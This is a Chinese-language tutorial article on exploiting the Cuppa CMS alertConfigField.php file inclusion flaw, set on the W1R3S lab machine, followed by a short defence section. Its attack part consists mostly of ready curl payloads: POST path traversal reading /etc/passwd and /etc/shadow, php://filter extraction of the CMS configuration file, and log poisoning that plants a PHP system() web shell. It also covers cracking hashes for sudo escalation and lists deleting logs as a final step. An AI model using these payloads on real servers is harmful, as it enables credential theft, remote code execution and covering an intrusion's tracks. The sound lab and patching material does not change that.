当前位置: 首页 > news >正文

Cuppa CMS 文件包含漏洞实战:POST 请求绕过与 /etc/shadow 读取(附 2 种 Payload)

Cuppa CMS 文件包含漏洞深度解析:从原理到实战绕过技巧

1. 漏洞背景与原理剖析

Cuppa CMS 是一款基于 PHP 的开源内容管理系统,其/alerts/alertConfigField.php文件存在严重的文件包含漏洞。该漏洞源于开发者直接使用$_REQUEST["urlConfig"]作为include()函数的参数,且未对用户输入进行任何过滤处理。

漏洞核心代码如下:

<?php include($_REQUEST["urlConfig"]); ?>

这种实现方式导致了以下安全问题:

  • 本地文件包含(LFI):通过目录遍历可读取服务器敏感文件
  • 远程文件包含(RFI):当allow_url_include开启时可执行远程恶意代码
  • PHP 伪协议利用:即使禁用 RFI 仍可通过php://filter获取源码

漏洞危害等级:高危(CVSS 3.1评分 9.8)

提示:文件包含漏洞常被用于读取配置文件、日志文件等,进而获取数据库凭证或实现权限提升。

2. 环境搭建与基础验证

2.1 实验环境准备

推荐使用以下环境进行漏洞复现:

  • 靶机:W1R3S 1.0.1 (Vulnhub)
  • 攻击机:Kali Linux 2023+
  • 网络配置:NAT模式同网段

必要工具清单

# Kali 基础工具 sudo apt install curl nmap dirsearch john -y # 可选工具 git clone https://github.com/danielmiessler/SecLists.git

2.2 基础漏洞验证

传统 GET 方式测试:

curl "http://target/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../etc/passwd"

常见失败原因分析:

  1. 路径深度不足(需要至少7级../
  2. 特殊字符被过滤或编码
  3. 服务端配置了请求方法限制

3. POST请求绕过技术详解

3.1 请求方法差异分析

通过对比GET与POST的处理逻辑差异,我们发现:

特性GET请求POST请求
参数位置URL可见请求体隐藏
长度限制约2048字符理论上无限制
数据编码URL编码多种编码可选
安全过滤通常更严格可能绕过部分WAF规则

3.2 有效Payload构造

成功读取/etc/passwd的POST请求:

curl -X POST -d "urlConfig=../../../../../../../../../etc/passwd" \ http://192.168.47.154/administrator/alerts/alertConfigField.php

关键技巧:

  • 使用绝对路径遍历(至少8级../
  • 对特殊字符进行URL编码
  • 添加随机请求头规避基础防护

3.3 敏感文件读取实战

读取Linux系统关键文件:

1. 用户账户信息

# 读取/etc/passwd curl -X POST -d "urlConfig=../../../../../../../../../etc/passwd" $TARGET # 读取/etc/shadow(需root权限) curl -X POST -d "urlConfig=../../../../../../../../../etc/shadow" $TARGET

2. Web服务器配置

# Apache配置 curl -X POST -d "urlConfig=../../../../../../../../../etc/apache2/apache2.conf" $TARGET # Nginx配置 curl -X POST -d "urlConfig=../../../../../../../../../etc/nginx/nginx.conf" $TARGET

3. 数据库凭证获取

# Cuppa CMS配置文件 curl -X POST -d "urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php" $TARGET | base64 -d

4. 漏洞利用进阶技巧

4.1 伪协议利用

当目录遍历被限制时,PHP伪协议是绝佳的替代方案:

1. 源码泄露

curl -X POST -d "urlConfig=php://filter/convert.base64-encode/resource=index.php" $TARGET | base64 -d

2. 文件包含结合日志注入

# 注入PHP代码到访问日志 curl -A "<?php system(\$_GET['cmd']); ?>" $TARGET # 包含日志文件执行代码 curl -X POST -d "urlConfig=../../../../../../../../../var/log/apache2/access.log" $TARGET

4.2 权限提升路径

通过文件包含获取敏感信息后的典型提权路径:

  1. 数据库凭证提取→ SQL注入/直接登录
  2. SSH私钥发现→ 私钥登录尝试
  3. 配置文件泄露→ 查找硬编码凭证
  4. Cron任务分析→ 寻找可写脚本

在W1R3S靶场中,通过读取shadow文件并破解哈希后,发现用户w1r3s具有sudo权限:

$ sudo -l User w1r3s may run the following commands on this host: (ALL : ALL) ALL

5. 防御方案与修复建议

5.1 临时缓解措施

对于无法立即升级的系统:

1. 输入过滤

$allowedPaths = ['config/','alerts/']; $urlConfig = $_REQUEST['urlConfig']; if(!in_array(dirname($urlConfig), $allowedPaths)){ die('Invalid path!'); }

2. 文件白名单

$allowedFiles = ['config.ini','settings.php']; if(!in_array(basename($urlConfig), $allowedFiles)){ die('File not allowed!'); }

5.2 彻底修复方案

  1. 升级到最新安全版本
  2. 禁用危险PHP函数(allow_url_include=Off
  3. 实施最小权限原则(Web用户只读权限)
  4. 部署WAF规则拦截恶意包含请求

5.3 安全开发规范

安全文件包含实现模板

<?php $baseDir = '/var/www/cuppa/'; $requestedFile = $_GET['file']; $absolutePath = realpath($baseDir . $requestedFile); // 验证路径是否在白名单内 if(strpos($absolutePath, $baseDir) !== 0){ die('非法访问!'); } // 验证文件扩展名 $allowedExt = ['php','html','txt']; $ext = pathinfo($absolutePath, PATHINFO_EXTENSION); if(!in_array($ext, $allowedExt)){ die('不支持的文件类型!'); } include($absolutePath); ?>

6. 渗透测试方法论总结

在实战渗透测试中,遇到类似漏洞时应遵循以下流程:

  1. 信息收集:识别CMS版本和已知漏洞
  2. PoC验证:测试基础漏洞是否存在
  3. 绕过尝试:变换请求方法/编码方式
  4. 权限提升:利用获取的信息扩大访问范围
  5. 痕迹清理:删除日志和临时文件

典型踩坑记录

  • 使用John破解shadow文件时,注意清除~/.john/john.pot避免重复破解
  • 某些系统对路径长度有限制,需要优化../数量
  • 不同PHP版本对伪协议的支持存在差异
http://www.jsqmd.com/news/1149934/

相关文章:

  • AI面试平台数据库架构设计详解
  • 3款地震速度模型可视化工具对比:SU vs Madagascar vs Python 性能与效果实测
  • Burp Suite 2024.5 代理抓包实战:5步复现Web登录请求拦截与参数分析
  • 2026最新5款AI编程平替工具vibe coding深度实测
  • TS2007FC与PIC18F45K80在嵌入式音频系统的高效应用
  • PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心利用手法与 3 类伪协议解析
  • Nacos <=2.2.0 JWT 默认密钥漏洞复现:3步构造有效Token接管后台
  • Burp Suite Turbo Intruder 并发测试:3个真实SRC案例复现与脚本分析
  • 软件License设计5大安全挑战:从虚拟机/Docker逃逸到Agent模拟攻击
  • Upload-Labs Pass-02/03 实战:Content-Type与黑名单绕过,2种方法成功率100%
  • NetBackup 10.1 外部CA配置后登录失败:5步排查与证书存储修复
  • Hutool-crypto 5.8.10 密钥管理:从内存硬编码到配置文件安全的3步演进
  • WebDAV 方法实战检测:OPTIONS/PUT/DELETE 等 8 种方法自动化探测与利用
  • Burp Suite 2024.6 与 5款开源插件对比评测:漏洞检出率提升40%实测
  • AOPR 7.21 实战:3种攻击模式破解Office 2019文档,成功率提升80%
  • 多模态Transformer实战:CLIP与BLIP-2模型在图文检索中的3种融合策略对比
  • C语言数组越界漏洞:从缓冲区溢出到密码验证绕过实战分析
  • 业务逻辑漏洞防御指南:基于墨者学院6个靶场案例的3层防护策略
  • 微信消息自动转发终极指南:3步实现跨群信息同步
  • 高校教务系统安全审计实战:基于新正方 8.0 的 5 个常见越权测试点与修复验证
  • Fastjson 1.2.83 安全升级实战:修复 CVE-2022-25845 的 3 种方法与兼容性验证
  • 如何高效遍历数值列表,筛选满足阈值条件的元素
  • XXE漏洞防御:PHP/Java/Python 3种语言5行代码修复方案对比
  • Office文档密码恢复工具对比:AOPR 7.21 vs Passper 4.0 功能与性能实测
  • 宝塔面板 7.9.8 目录权限与安全加固:10个关键目录的权限设置指南
  • iwebsec靶场 XXE漏洞实战:3种外部实体利用方式与Burp Collaborator盲注
  • AppScan 扫描 X-Content-Type-Options 缺失:5步修复与误报排查指南
  • CVE-2019-15107 漏洞深度剖析:Webmin密码重置功能中的1处命令注入逻辑缺陷
  • 如何快速解锁加密音乐:3个实用技巧与完整解密指南
  • D3KeyHelper:基于事件驱动架构的暗黑破坏神3智能按键调度系统